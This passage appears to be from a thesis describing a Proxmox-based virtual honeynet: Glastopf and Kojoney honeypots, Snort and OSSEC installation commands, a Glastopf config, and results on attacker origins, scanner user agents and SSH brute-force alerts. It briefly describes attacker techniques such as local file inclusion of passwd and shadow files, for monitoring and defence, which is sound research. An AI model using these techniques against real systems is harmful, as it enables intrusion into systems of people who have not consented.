• Virtual honeynets come with increased risk: Specifically, attackers may
be able to compromise the virtualization software and take over the en-
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tire honeynet, giving them control over all the systems. This would give
them the ability to bypass all data-capture-control mechanisms.
• There is the risk of fingerprinting: Fingerprinting is the ability to re-
motely or locally identify the honeynet for its true purpose. Virtual hon-
eynets have signatures that make them unique (primarily as a result of
the virtualization mechanisms). Attackers can potentially identify these
signatures, thereby detecting the true purpose of your honeynet.
2.6.1 The proxmox virtualization tool
Now days there are so many virtualization tool, some of the best free virtu-
alization tools are easily accessible from the web. They are oriented towards
increasing server, operating system and desktop efficiency along with making
the entire PC-using experience more user-friendly. These best free virtualza-
tion tools help in increasing efficiency of major applications. Many such tools
have been put forth by open source communities and by noted IT solutions
vendors like Microsoft and Sun [25].
Proxmox Virtual Environment is an easy to use Open Source virtualization
platform for running Virtual Appliances and Virtual Machines [7]. Proxmox
VE is optimized for performance and usability. For maximum flexibility, the
following virtualization technologies are installed by the bare metal ISO-installer.
• Container Virtualization (OpenVZ): This is the preferred technology for
running Linux servers as it is the fastest approach. OpenVZ is container-
based virtualization for Linux. OpenVZ creates multiple secure, isolated
containers (otherwise known as CT, VEs or VPSs). Each container per-
forms and executes exactly like a stand-alone server; a container can be
rebooted independently and have root access, users, IP addresses, mem-
ory, processes, files, applications, system libraries and configuration files.
• Full Virtualization (KVM): KVM (for Kernel-based Virtual Machine) is
a full virtualization solution on x86 hardware containing virtualization
extensions (Intel VT or AMD-V CPU is needed). Each virtual machine
has private virtualized hardware: a network card, disk, graphics adapter,
etc. KVM is a similar to XEN, but KVM is part of Linux and uses the
regular Linux scheduler and memory management.
• Paravirtualization (KVM): KVM supports paravirtualization for device
drivers to improve I/O performances.
2.7 The Analysis
Honeynets are an effective tool at containing and capturing blackhat activ-
ity. However, the true potential of a honeynet is unfulfilled unless this data is
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turned into useful information. There must be a process for capturing the data
and converting it into the tools, tactics, and motives of blackhats. This process
is called data analysis.
The Purpose and Value of Data Analysis
Data analysis is a process that involves the analysis and correlation of multi-
ple types of data at multiple layers. The purpose and value of data analysis is
being able to extract different types of data and then turn that data into valu-
able information. Within honeynet, it can be different types of applications
designed to capture and identify attackers activity. For example, honeywalls
are type of firewall used to capture and control connections flowing in and out
of the honeynet from the internet. An intrusion detection system (IDS) can be
placed within the honeynet to alert us of hostile traffic entering and leaving
the honeynet.
Data analysis is the eye of the honeynet. It allows as to know our attacker
without our attacker knowing. Multiple layers of data analysis such as reverse
engineering, network forensics, and computer forensics are used to capture
and analyze the binaries or tools of our attackers, identify behaviour about
our attackers and their tools.
Capturing Different types of Data Within The Honeynet
There are many types of data collection within a honeynet, including the fol-
lowing:
• Firewall logs
• Network binary logs
• Snort intrusion detection alerts
• System logs
• Ossec intrusion detection alerts
Firewall Logs
Looking the firewall log has more efficient for helping us to identify the activ-
ities of our attackers. This information includes:
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• The source IP address of our attacker
• The destination IP address
• The protocol being used in the attack The destination port our attacker
is probing
We can take this data and present it in a format that is even easier to view and
understand. That means, it is possible to inject the information we need from
the raw IPTables firewall log into our MYSQL database, so we can view the
data from centralized console. Thus, can be easier to analyze and understand.
Snort Intrusion Detection Alerts
Snort is an Open Source, network-based intrusion detection system for win-
dows and UNIX system. Snort inspects packets passing through a honeynet.
As the packets pass through the honeynet, Snort inspects the packets against
a set of Snort rules or signatures. when a packet is matched against a rule, an
alert is generated and logged to the database.
Snort purpose is to detect traffic in the honeynet that is known as being mali-
cious and then to alert us so we know about it. Most importantly, with snort
alerts, we want to drill into the alert so we can analyze the contents of the
header and payload. the presentation of the information associated with the
snort alert is simple to view and understand. By injecting the snort alerts into
a ceneralized database and using the data viualization tools, we decrease the
time to analyze the alerts and the packets associated with these alerts.
System logs
This type of logging monitors different aspect of each individual honeypot at
an application layer rather than at the network layer. With this type of logging
we can see how the system reacts to the attacks and at times even see the
results from these attack. There are many thing you can learn from this type
of logging, including:
• How did the attacker get in? It is common to see an overflow in the sys-
tem log itself. it is also common for the attacker to come in with user
privileges with one exploit and then use another exploit to escalate priv-
ileges to obtain root access.
• Where did the attacker come from? This can sometimes be useful when
attacker use standard protocol such as TELNET, SSH, or FTP to attack




• What is the system activity? System logs record such activity as sys-
tem reboots, critical for some attacks to work; interfacing going into
promiscuous mode, when a sniffer is activated; and certain services be-





The following chapter will describe the methodology used to conduct the ex-
periment that used to perform the problem statement. The chapter will discuss
in detail the following points:
• The architecture
• The design and goal of the experiment
• The hardware and software requirement
• The packages used to conduct the experiments
• Way of data collection
3.1 The Architecture
To achieve the desired goal of the problem statement, first, we should design
our network architecture that will lead us to the main set up.
Figure 3.1 shows the architecture of our network set up, as you see from the
architectural figure the network set up has four sections, each section will be
discussed below:
3.1.1 The Gateway
The gateway has two network interfaces, eth0 links to the external (connects to
the internet) and eth1 link to the internal (connects to the honeypots, databases,
29
CHAPTER 3. EXPERIMENTAL DESIGN ANDMETHODOLOGY
Figure 3.1: The architecture of the network.
and network analyzer).
All other guest machinies in the network will pass through the gateway. The
gateway has IDS and is responsible for data capturing. The firewall inside the
gateway allows any incoming traffic from the outside. Thus, an attacker can
go further inside the network to the honeypots behind the gateway.
3.1.2 The Honeypot
In this architecture we do have two types of honeypots set up. The first is hon-
eypot with IDS and the second honeypot without IDS. More discussions will
be given in the design section.
3.1.3 Mysql Database
The honeypot logs data (attackers activity on the honeypots) will be collected
and stored to the mysql server. The mysql server should be more secure so as
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not to be attacked by the attackers.
3.1.4 Ossim Collector
OSSIM grants the network with a detailed view over each and every aspect of
the network.
3.2 The Design and Goal of the Experiment
In this section the detail design of the architecture will be presented. The main
goal of this experiment was to create a network set up that attracts to attract
the attackers. The set up emulates services that enables the attackers and the
attackers realize that the system is giving real services, so they try to break the
system by using whatever skill they have. As a result we created a chance to
see and monitor what the attackers are doing.
Thus, this paper will concentrate on studying the behaviour of the attackers
from the back door. Before we go to the design sub section, we should have a
sub section that will discuss about the virtual honeynets and the proxmox tool
that we are going to use to create our network set up.
3.2.1 Virtual Honeynets and Proxmox
A virtual honeynet is the idea to combine all the different physical elements of
the honeynet into a single computer, using virtualization software (proxmox
in our case). It is a solution that allows you to run everything you need on a
single computer. The virtualization software– like proxmox allows you to run
multiple operating systems at the same time on the same hardware.
For proxmox to work, I installed a software package (the virtualization soft-
ware) on the physical computer, called the host system. The advantage of the
virtual honeynets are reduced cost and easier management, as everything is
combined on a single system. Instead of taking eight computers to deploy a
full honeynet, we can do it with only one. However, this simplicity comes at a
cost:
• Virtual honeynets come with increased risk: Specifically, attackers may
be able to compromise the virtualization software and take over the en-
tire honeynet, giving them control over all the systems. This would give
them the ability to bypass all data-captured and data-control mecha-
nisms.
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• There is the risk of fingerprinting: Fingerprinting is the ability to re-
motely or localy identify the honeynet for its true purposes. Virtual hon-
eynets have a signature that make them unique (primarily as a result of
the virtualization mechanisms). Attackers can potentially identify these
signatures, thereby detecting the true purposes of our honeynet.
Normally, we have two catagories of virtual honeynets: self-contained and hy-
brid. Of the two, self-contained are the more common and easy to deploy, and
we selected this catagory for this experiment.
Self-Contained Virtual Honeynets
A self contained virtual honeynet is all honeynet functionality (including the
honeypots) virtually contained on a single, physical system. A honeynet net-
work typically consists of a firewall gateway for data control and data capture,
and the honeypots within the honeynet. Figure 3.2 shows the self-contained
diagram.
Figure 3.2: Diagram of a self-contained virtual honeynet
Figure 3.2 shows the self-contained diagram. Here we do not need extra com-
puters for the gateway as a hybrid virtual. Some advantages of self-contained
virtual honeynets:
• They are ”plug and catch” systems. We can build standardized hon-
eynets and easily deploy them throughout a large network. This makes
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deployment much easier, as you are physically deploying and connect-
ing only one system.
• They are cheap and take up little space. We only need one computer for
a self-contained virtual honeynet, which cuts down on your hardware
expenses.
However, there is also disadvantage, if something goes wrong with the hard-
ware, the entire honeynet could be out of commission.
Proxmox
For this experiment we selected proxmox as virtualization tool. In the past,
most of honeynet projects were done using vmware as the virtualization tool.
No honeynet experiment has been done using this virtualization tool(proxmox).
Virtualization tools have their own different vulnerabilies from a security as-
pect. So, it is preferable to work with this virtualization tool (proxmox) than
vmware for this honeynet set up. Even though to see the vulnerability of vir-
tualization tool is not the main goal of the experiment , it enables us to see the
attackers activity on this platform.
To do our experiment the full virtualization technology was selected, because
of its features needed for this experiment.For more detail how to install and
configure proxmox refer to appendix C.
3.2.2 The Design
In the above section and subsections we have seen the architecture of the net-
work and the platform respectively. Here we will discuss more detail on de-
sign parts and components that we are going to install.
Honeypot Services
We can separate the architectural design into two parts as follows:
1. A system which gives a service with IDS ( Intrusion Detection System )
2. A system which gives a service without IDS ( Intrusion Detection System
)
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This way of design enables us to see how the attackers behave on both secure
and insecure systems. The attackers may use different ways on both systems
and that helps to analyse and secure a system in a different way than we ex-
pect. To do the experiment two honeypot services are selected. The first one
is a web server honeypot and the second one is an ssh server honeypot. The
reason why these two services selected is that they are common targets of at-
tack and the survey study shows that most of the time attackers are focused on
these two services. Currently, attacks against web applications make up more
than 60 percent of the total number of attempted attacks on the Internet [37].
3.2.3 The Glastopf Web Server Honeypot
Currently there are four major web application honeypots: HIHAT, DShield
Web Honeypot Project, Google Hack Honeypot and PHPHoP (which is no
longer maintained and only of historical interest) [35]. These honeypots have
one major thing in common: All of them use modified templates from real
web applications to pretend that they are vulnerable and attractive for attack-
ers. From these web applications glastopf was selected for this experiment,
this is due to the following reasons:
• Capable of emulating thousands of vulnerabilities to gather data from
attacks that target web applications.
• Glastopf supports multistage attacks, a vulnerability emulator and list
of vulnerable requests, rather than the modified web app templates used
by search engines to attract more attacks over time.
• The honeypot looks very similar to a real victim and eventually will en-
tice more manual and more complex attacks.
• All of the other honeypots use the template approach with its inherent
disadvantage associated with maintenance and continued development.
Figure 3.3 shows the general functionality of glastopf. As we see from this
figure the honeypot works like a normal web server. Someone sends a request
to a web server, the request gets processed, maybe writes to a database or
the file system, and replies to the attacker. But the main goal is to provide a
proper reply for every request from the attacker - to convince him that we are
vulnerable.
Figure [?] shows how attack get handled by the web server honeypot. It out-
lines the entire process and provides a detailed overview of how components
work together. Glastopf supports GET, POST and HEAD. Glastopf answers
HEAD requests with a generic web server header. If we get a POST request,
the entire content submitted is stored. Most of the time, Glastopf will handle
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Figure 3.3: General functionality of glastopf overview
GET requests.
RFI is remote file inclusion and it handles remote file attacks. It will send
the request to the disc and also send to it’s emulator. LFI is Local file inclu-
sion the attacker tries to use a vulnerability to obtain security critical system
information or to execute previously injected code. If the attacker tries to in-
clude system files like passwd or shadow, Glastopf replies with a dynamically
generated file, similar to the requested one, to provoke and encourage further
attacks.
Every time when honeypots are attacked, the attacker leaves behind a request.
The request contains the path to a vulnerable file of the attacked application.
This special string is also called a dork. That is what the attackers are looking
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Figure 3.4: Flowchart of how an attack gets handled by Glastopf
for when they are searching for new victims.
The Central Database Daemon is a small Python script on top of a MySQL
database accepting submissions from Glastopf sensors.
3.2.4 The Kojoney SSH Server
The second service which was selected for this experiment was an ssh hon-
eypot server. In addition to the above subsection reasons, it is important to
study for system administrators to study ssh honeypot activity because SSH
provides mechanisms for remote access or remote file transfer, attacks against
SSH typically either attempting to gain remote access to a system or to cause a
denial of service condition [29]. We have two of the most common and known
SSH honeypots and these are kojoney and kippo. Kippo is a medium interac-
tion SSH honeypot designed to log brute force attacks and, most importantly,
the entire shell interaction performed by the attacker.
Kojoney is a wonderful low interaction SSH honeypot written in Python. It is
written in Python and based on the Twisted and Conch libraries that provide
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SSH server and TCP/IP support. Kojoney sets up a very real SSH server in our
host machine, but when an attacker authenticates to Kojoney they are trapped
in the honeypot rather than passed on to a shell [21]. This means after an at-
tacker logs in they can only interact with Kojoney, not the actual host system.
Kojoney can be configured with any number of user accounts and password
that it will allow to successfully authenticate. Kojoney will record attempts
to authenticate, including failed login attempts, and monitor attacker IP and
accounts tested.
Kojoney comes with two binaries, kojreport and kojreport-filter, that can be
used to generate reports of connection attempts, files downloaded, and com-
mands issued in kojoney. The easiest way to observe these reports is to simply
run the kojreport command with different options.
By extending Kojoney you can easily increase its ”interactivity” to make it
more like a high interaction honeypot while retaining the safety of utilizing a
low interaction honeypot. Because Kojoney is written in Python it’s easy to
look through the codebase and understand what is going on under the hood.
Kojoney was selected for this experiment as SSH honeypot server, because we
can control the attackers activity, and can also mange it easily by editing the
configuration files.
INTRUSION DETECTION SYSTEMS
For honeypot with intrusion detection system, we selected OSSEC as the host
based intrusion detection system and Snort as the network intrusion detec-
tion system. Snort enables us to capture attackers activity within the system,
by using barnyard2 tool we can read the binary files (attackers activity in the
specified honeypot machine). Snort will be installed also on the gateway in
addition to the honeypots. This helps to capture the overall attackers activity
throughout the network. Installing and configuring the IDS will be discussed
later under the software section.
The MySQl Server and The AlienVault Network Analyzer
After we completed the design of the honeypots, the next step is thinking
about how to collect the data and where should we put the collected data.
Storing the collected data on the same machine is not recommended, if that
machine is compromised we may lose the data. So, we should to store the col-
lected data on another machine and this machine should be more secure.
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For the storage purpose, additional machine should be created and this ma-
chine (mysql server) collects log file from all honeypot machines and stores
them on the corresponding database.
The last thing left to the design is the AlienVault (OSSIM) part, this helps for
analyzing purposes. It will collect data form agents, in this experiment the
honeypots are agents and the Ossim host is the server. OSSIM will collect
data from each OSSEC agent and Snort agent (since ossim does not support
glastopf and kojoney log file, we will use ossim only to capture the entire net-
work activity and this helps to give additional information when we analyse
the honeypot log activity). It will perform the analysis of the network traffic
from different aspect (for example: from the ip address aspects, from signature
based aspect, and others).
Figure 3.5: Flow designe of the network
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Figure [?] shows a flow design of our network for this experiment. As you see
from the figure when an attack comes it will pass through the gateway and
then to the destination. All honeypot data will be sent to the mysql database,
ossec and snort data from honeypot with intrusion system will be sent to os-
sim. The gateway captures all traffic through the network.
3.3 The Hardware and Software Requirements
On the above sections and subsections we have completed the architecture
and detailed the design of the set up. Under this section the hardware that
is required on each system and the software packages that are used to do the
experiment will be presented.
The Hardware requirement
Figure 3.6: Hard ware requirment of the main host machine
Hardware requirement of Guest machines (all honeypot machines and MySQL
server)
Hardware requirement of OSSIM ( The AlienVault hardware requirements)
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Figure 3.7: Hard ware requirment of the guest machine
The AlienVault hardware requirements will basically depend on the number
of events per second and the throughput of the network that we want to se-
cure. As a minimum requirement it is always advisable to have at least 4GB
of Ram. You may have to increase the available RAM memory based on the
network throughput, the number of events that the AlienVault is processing
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and the amount of data that needs to be stored in the database. In order to
achieve maximum performance, it is essential to use only those applications
and components that will be useful to you in each case.
3.4 Software
Host system: Linux version 2.6.32-4-pve (unknown) (root@oahu)
(gcc version 4.3.2 Debian 4.3.2-1.1) )
Guest system: Linux version 2.6.32-5-amd64 (Debian 2.6.32-31)
ben@decadent.org.uk) gcc version 4.3.5 (Debian 4.3.5-4) )
The following different packages were required on the different machines for
doing the experiment.
3.4.1 Basic Packages on the Gateway
Gateway OS
The first step to having the gateway we should create the guest machine on
the main host machine. In order to do that, download the iso image file of
debian (debian OS is selected to work this experiment, debian-6.0.0-amd64-
netinst.iso). Upload the file to your virtualization tool (proxmox) and create
the virtual machine by using this iso image file. After you reply to different
questions on the installation process, finally you will finish and the virtual
machine will be created. The next step after you create the virtual machins
is to install and configure different packages accordingly. The following sub
sections are some of the basic packages that should be installed on the virtual
machine, that enables this virtual machine to work as the gateway.
Bridge-utils





Maintainer: Santiago Garcia Mantinan <manty@debian.org>
Architecture: amd64
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Version: 1.4-5
Depends: libc6 (>= 2.7-1)
Size: 32700
Snort
Snort is a very powerful tool, an open source IDS and is known to be one
of the best IDS on the market even when compared to commercial IDS. Like
Tcpdump, Snort uses the libpcap library to capture packets that also enables
real time traffic analysis and logging. By doing protocol analysis, it helps to
identify different types of attacks and probes. It has two major components:
• Detection Engine or Snort Engine: is the most important part of snort, it
performs detection of intrusion activity in a packet and takes appropriate
action based on its rule. Depending upon how powerful your machine
is, load of the network, and how many rules you have defined, it may
take different amounts of time to respond to different packets [34].
• Snort Rules: Are the conditions specified by a Network Administrator
that differentiate between normal activities and malicious activities.
• Basic Structure of Snort Rules: All Snort Rules have two logical parts,
rule header and rule options. The rule header contains information about
what action a rule takes. The option parts contains additional criteria for
matching a rule against data packet. The following example will give
you more detail about a Snort rule.
Example of Snort Rule: alert icmp any any -> any any
(msg: "Ping with TTL=100"; ttl: 100;)
The part of the rule before the starting parenthesis is called the rule header.
The part of the rule that is enclosed by the parentheses is the options part. The
header contains the following parts, in order:
alert: is the action, an alert will be generated when condition are met.
icmp: is the protocol, this rule will be applied only on ICMP-type packets.
any any (to the left of the sign -¿): they are source address and source port
respectively. In this example both are ’any’ which means that the rule will be
applied on all packets coming from any source. Of course port numbers have
no relevance to ICMP packets.




any any (to the right of the sign -¿): they are destination address and port.
The options part enclosed in parentheses shows that an alert message will be
generated containing the text string ’Ping with TTL=100’ whenever the condi-
tion of TTL( Time To Live)=100 is met.
Figure 3.8: Snort architecture
The following will describe more on snort installation and setup [10]:
• Install Snort pre-requisites - libpcap, libdnet, and DAQ
• Install, configure, and start Snort, for installation and configuration of
snort refer to Appendix A.
Snort can be run in one of three mode:
1. Sniffer Mode: Captures packets on the wire and dumps them to your
screen (console)
a. Command (shows only TCP and IP headers): ./snort -v
b. Command (shows data as well): ./snort -vd
c. Command (shows data link layer headers as well): ./snort -vde
2. Packet Logger Mode: Captures packets and logs them to a disk file
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a. Command: ./snort -dev -l /var/log/snort/
b. Command (log in binary mode - faster): ./snort -dev -l /var/log/snort
-b
c. Command (to replay saved data): ./snort -dvr /var/log/snort/packet.log
3. Network Intrusion Detection System (NIDS) Mode: the most complex
and configurable configuration, which allows Snort to analyze network
traffic for matches against a user-defined rule set and performs several
actions based upon what it sees. To enable Network Intrusion Detection
System (NIDS) mode so that you do not record every single packet sent
down the wire, try this:
./snort -dev -l ./log -h 192.168.1.0/24 -c snort.conf
Where snort.conf is the name of your rules file. This will apply the rules
configured in the snort.conf file to each packet to decide if an action
based upon the rule type in the file should be taken. If you do not specify
an output directory for the program, it will default to /var/log/snort.
4. Inline Mode: snort also can be use as IPS (intrusion prevention system),
this will be explained later under the honeynet section.
MySQL Server
MySQL server should be installed and set up in order to collect package cap-
tured by snort. Installation and set up methodology attached as Appendix A.
Install barnyard2
Barnyard2 improves the efficency of snort by reducing the load on the main
detection engine by allowing barnyard2 to handle by inserting events in to the
MYSQL database [38]. Detailed configuration attached as an Appendix A.
Install BASE
BASE is the Basic Analysis and Security Engine. It is based on the code from
the Analysis Console for Intrusion Databases (ACID) project. This applica-
tion provides a web front-end to query and analyze the alerts coming from a




3.4.2 Basic Package on Honeypot-webserver with IDS
As we did for the gateway, we should create a new virtual machine from the
debian iso image file, and that virtual machine will be our honeypot-webserver.
On this guest machine we need to install and configure the following basic






From different honeypot webserver, Glastopf is selected, the reason why Glastopf
is selected will be discussed on the design section.
For a very minimal setup Python and subversion needs to be installed. After
the successful installation of these packages, check out the latest development
or the stable Glastopf version. The stable version comes with all the function-
ality needed to collect attacks. The development version is more powerful and
provides more features, of which some are still in the beta phase. The devel-
opment version was selected.
Install Glastopf:
svn co svn://glastopf.org:9090/glastopf/branches/unstable glastopf
No additional steps are needed for the installation. Next, one needs to config-
ure Glastopf and adjust some parameters to suite your needs.
Configuration of the Glastopf
Glastopf’s configuration file and all other things you should and could edit or
change, can be found in conf/. We should configure the basic parts that help
to conduct our experiment, and these are:
• Server Section: The first part is the server core configuration: (You have
to start the Glastopf as root/administrator if you want to listen on port
80.)
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Server section:
[server]
# Glastopf IP address
ip: 128.39.73.184
# Glastopf Port. Port 80 is only available for root user
port: 80
# If the number of simultaneous threads exceeds this number
# Glastopf stops accepting
# new requests.
# Maximum number of simultaneous threads
maxthreads: 42
# After startup Glastopf drops all rights and runs
# with the provided user/group
# permissions (Linux only).
# Run Glastopf as user (Linux only)
user: root
# Run Glastopf with group permissions from (Linux only)
group: root
• Plug-in section: Plugins listed here loaded on Glastopf start-up.
Plugins:
[plugins]
# Data handling plugins comma separated
(surfids.py,mysql.py,dbclient.py,fileurl.py)
dataplugins: mysql.py,fileurl.py




# MySQL server IP
host: 128.39.73.183











# Choose your logging level.
# Log level (debug info warning error critical)
level: debug
# Set your operating system to avoid errors
# cause by the log rotation.
# Operating system: win or unix (log rotate
#doesn’t work with win)
system: unix
#Set the log file size after which the files
# gets rotated and the number of
# log file backups in total. Log file size
# in byte (unix only)
size: 2097152
# Lumber of log file backups
count: 5
After the successful installation and configuration, all we need to do is run the
webserver.py.
HIDS OSSEC
OSSEC is an Open Source Host-based Intrusion Detection System. It performs
log analysis, file integrity checking, policy monitoring, rootkit detection, real-
time alerting and active response [31]. It mixes together all the aspects of HIDS
(host-based intrusion detection), log monitoring and SIM/SIEM together in a
simple, powerful and open source solution. It runs in most operating system,
including Linux, OpenBSD, FreeBSD, MacOS, Solaris and Windows.
OSSEC is composed of multiple pieces. It has a central manager monitoring
everything and receiving information from agents, syslog, databases and from
agentless devices. The agent is a small program installed on the systems you
desire to monitor. It will collect information in real time and forward it to the
manager for analysis and correlation. Agentless OSSEC, allows you to per-
form file integrity monitoring on systems that you can not install an agent.
In this Honeypot webserver we installed ossec agent, so we send the ossec
agent log to the ossec server of the other machine (ossim) The installation pro-
cess for the ossec agent is shown in the Appendex B.
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NIDS, Snort
Installation of Snort on this honeypot webserver is the same as Snort installa-
tion on the gateway, except changing the ip address.
3.4.3 Basic Package on ssh honeypot server
KOjoney
Kojoney is a low level interaction honeypot that emulates an SSH server. The
daemon is written in Python using the Twisted Conch libraries.
Pre-installation: First we must change the default SSH server port on our
server because Kojoney must be run as a default SSH server! to capture the
attackers!
Pre-installation of Kojoney:
# Edit ’/etc/ssh/sshd_config’ file
# change from 22 to 2222
2222
# And you need gcc and python packages also.
apt-get install install gcc python python-devel
# install ’openssl’ and ’python’
root@secure-1:~# apt-get install openssl
root@server187:~# apt-get install python
Download and install Kojoney updated packages on Kojoney server, these up-
dates in IP-Country and Geography-Countries packages helps to improve the
country detection mechanism.
Preparing log files and Reports:
DownloadKojoney source package:
# By default kojoney daemon output will be redirected to the file
/var/log/honeypot.log.





Installation of Snort on this ssh honeypot server is the same as Snort installa-
tion in the gateway and webserver honeypot. Except for editing the ip address.
OSSEC
Installation of OSSEC on this ssh honeypot server is the same as OSSEC instal-
lation on the webserver honeypot.
3.4.4 Honeypots without IDS
Necessary packages and installation procedure for the honeypot with-out in-
trusion detection systems (IDS) are the same as honeypot system with IDS
except that here we do not have IDS.
3.4.5 AlienVault Unified SIEM
AlienVault Unified SIEM is created and developed by AlienVault. This tech-
nology offers advanced intelligence, capable of synthesizing the underlying
risks associated with comlex distributed attacks on extensive networks. The
system considers the context of each threat and the importance of the assets
involved, evaluates situational risk, discovers, and distinguishes actual threats
from the thousands of false positives that are produced each day in each net-
work [28].
OSSIM stands for Open Source Security Information Management. Its goal
is to provide a comprehensive compilation of tools which, when working to-
gether, grant network/security administrators with a detailed view over each
and every aspect of his or her networks, hosts, physical access devices, server,
etc.
The solutions features are[27]:
• Low level, real-time detection of known threats and anomalous activity
(unknown threats)
• Compliance automation
• Network, host and policy auditing
• Network behaviour analysis and situational behaviour
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• Log management
• Intelligence that enhances the accuracy of threat detection
• Risk oriented security analysis
• Executive and technical reports
• A scalable high performance architecture.
AlienVault SIEM uses an SQL database and stores information normalized al-
lowing for strong analysis and data mining capabilities. AlienVault profes-
sional SIEM is turned for high performance and scalability millions of events
per day.
The sensor profile will enable both the AlienVault detectors and the collector.
The following detectors are enabled by default:
• Snort (Network Intrusion detection System)
• Ntop (Network and usage Monitor)
• OpenVAS (Vulnerability scanning)
• POf (pasive Operative system detection)
• Pads (passive Asset detection system)
• Arpwatch (Ethernet/Ip address parings monitor)
• OSSEC (Host Intrusion Detection System)
Data Collection
After data collection was completed in the SSH honey pot log, a custom script
was developed to extract necessary entries. The script is attached in Appendix
D.
The AlienVault installation
The first step to install AlienVault is download the iso image file of this soft-
ware, and then upload to your iso image manager.
The next step is create your virtual machine (ossim) from the iso image file.
It is better to select custom installation, because it gives the user more options
during the installation process. This installation mode is recommended in case
you want to enable only certain profiles in the new AlienVault host (sensor
only, server + database....). The custom installation can be performed in both




This chapter presents the results from the actual experiments conducted.
4.1 General Overview of the result
The chapter is divided into different sections for each type of honeypot: Web
server honeypot with intrusion detection system, Web server honeypot witout
intrusion detection system, SSH honeypot with intrusion detection system,
SSH honeypot without intrusion detection system and OSSIM network over
view. Each honeypot section result contains the following results:
• Ip addresses participate on the attack, it shows how many attempts ob-
served for distinct ip addresses and the most frequented ip addresses.
• Country participate on the attempt, (the most frequented country on the
attempt).
• Number of authenticated (succeeded) and failed attackers and gives the
reason, that why the attackers failed or authenticated.
• The most frequently used user and password. It will gives also, user and
password used by the top authenticated(mostly authenticated attacker)
ip addresses.
• Number of attacks per hour.
• Number of attacks per day.
• Unique alerts or signature observed and its´ classifications.
• Country participated in multiple attacks.
• Command used by the most attackers.
• General network overview, which collected by the OSSIM collector.
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4.2 Web server Honeypot with Intrusion Detection Sys-
tem
The following graphs and tables were plotted from a host that emulates as web
server and the services run with intrusion detection system (web server hon-
eypot with IDS). All the data under this section was collected for one month
and one week( for a period between 21.03.2011 to 30.04.2011) smoothly with-
out interruption. The ip address of the attackers are not used as a report or
omitted, just country is used instead.
Figure 4.1: Top web attackers country on web honeypot with IDS
Figure 4.1 shows attackers country which participated on attacking this web
server honeypot. It gives the percentile, how frequently the country attempted
during attacking process. As you see from the graph 54 percent of the attacks
comes from Turkey and Italy comes next which was 10 percent and Vietnam is
the third with 8 percent.
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Figure 4.2: Number of attacks per day on web server with IDS. The x-axis is
the date and the y-axis is the number of attack.
Figure 4.3: Number of attacks per week on web server with IDS. The x-axis is
the week and the y-axis is the number of attacks. One can see from the figure
that the maximum attack was attempted on week 14 and the least attack was
attempted on week 13.
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Unique user agent of an attacker Number of fre-
quency on web-
server with IDS
Made by ZmEu @ WhiteHat Team -
www.whitehat.ro
13
Morfeus Fucking Scanner 1
Morfeus strikes again.




Toata dragostea mea pentru diavola 22
ZmEu 146
Table 4.1: Frequency of unique user agent used by the attacker on web server
honeypot with IDS. As you see from the figure there are seven unique user













Table 4.2: Most type of request from the top attackers to web server honeypot
with IDS. These request were selected from others request by their number
of occurrence and used by the known attackers ip addresses. Attacker from








































































Table 4.3: Sample entries of attackers attempt on the honeypot web server with IDS.
55
CHAPTER 4. RESULT
Unique Signatures Percentage Total
Attempt to login using a non-existent user 42 16131
User login failed 25 9707
Attempt to login with an invalid user 24 9183
SSHD authentication failed 4 1633
Multiple failed logins in a small period of time 3 1327
SSHD brute force trying to get access to 1 330
Multiple SSHD authentication failes 1 215
SSH insecure connection attempt(scan) 0 16
Log file rotated 0 9
Login session opened 0 1
SSHD authentication success 0 1
Table 4.4: Ossec unique signature attack. The most signature attack was at-
tempt to login using non existing user.
Table 4.3 shows entries of attackers attaempt on the honeypot web server with
IDS. The first column is the domain name of the attackers, the second column
is attackers country. The third column is the time stamp for that attack. The
fourth column is the request of the attacker. The fifth column is the user agent
that used by the attackers. The sixth column is the attacked host, in this case
our honeypot web server. The last two columns are ’attmnt’(attacker NT-BY
information) and ’attmail’(attacker whois mail results) respectively.
4.3 Web server Honeypot without Intrusion Detection
System
The following graphs are plotted from a host that emulates as web server
without intrusion detection system. This honeypot web server were open
for the public (for attackers) for a period of six week(between 03.24.2011 to
04.30.2011).
Figure 4.4 shows the attack percentage on web honeypot server with out IDS.
One can see from the figure, the most attacks on this web server were from
United States which was 24 percent. United Kingdom took the second place
with 16 percent and Bulgaria took the third place with 11 percent of the total
attack.
From figure 4.6 the maximum attack was recorded on one week after the sys-
tem opened for the attacker and the number of attack during this week was
28. The lest attack was recorded on the third week after we start collecting
data and the number of attack during this time was only 3 attacks.
In table 4.7 the first column is the domain name of the attackers, the star sign
under this column stands for the ip addresses of the corresponding attacker.
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Figure 4.4: Top attackers participated on web honeypot without IDS. This fig-
ure show that which country most frequently participated on this attack of
web server.
Figure 4.5: Number of attacks per day on web server without IDS. The x-axis
of the graph is the date where as the y-axis is number of attacks on that spe-
cific date. AS one can see from the graph, the maximum attack was recorded
on 28.03.2011 with attack number 14 and the second maximum attack was
recorded on 30.03.2011 with attacks number 7.
The second column is the attackers country. The third column is the time
stamp for that attack. The fourth column is the request of the attacker. The
fifth column is the user agent that used by the attackers. The sixth column is
the attacked host, in this case our honeypot web server without IDS. The last
tow columns are ’attmnt’(attacker NT-BY information) and ’attmail’(attacker
whois mail results) respectively.
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Figure 4.6: Number of attacks per week on web server without IDS. The x-axis
is the week number and the y-axis is the number of attacks recorded within
that week. Maximum attack was recorded on week 14 and least attack was
recorded on the week 15




Made by ZmEu @ WhiteHat Team -
www.whitehat.ro
6
Morfeus Fucking Scanner 1
Morfeus strikes again. 13




Toata dragostea mea pentru diavola 11
ZmEu 19
Opera/9.80 (Windows NT 6.1; U; en)
Presto/2.7.62 Version/11.01
1
Table 4.5: Frequency of unique user agent used on web server honeypot with
IDS. Here in this figureZmEu user agent was used most frequently than any
other user agents. The second most frequently used user agent was Morfeus
strikes again.
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Table 4.6: Most type of request from the top attackers on web server honeypot
without IDS. These requests were selected from many others request by there








































































Table 4.7: Sample entries of attackers attempt on the honeypot web server without IDS.
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4.4 SSH server Honeypot with Intrusion Detection Sys-
tem
All graph under this section is plotted for data collected between 04.04.2011 to
04.28.2011).
Figure 4.7: Top ssh attackers country with number of attacks on ssh honeypot
with IDS. The x-axis is country participate on the attack and the y-axis is the
number of attacks attempt on this ssh honeypot.
Figure 4.8: Top ssh attackers country by percentage of the total attack on ssh
honeypot with IDS. This graph show the attackers country percentile when
you are comparing with other country attack attempted.
Table 4.11 shows how many attacks were authenticated or failed to login to the
system(ssh honeypot with IDS). The authentication is based on the fake user
and password. The user and password was created by the ssh honeypot server
tool. The failed is weather based on the password or keyboard interaction
Figure 4.9 shows number of attacks per hour on ssh honeypot with IDS. To
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Country No. of attacks on
web server with
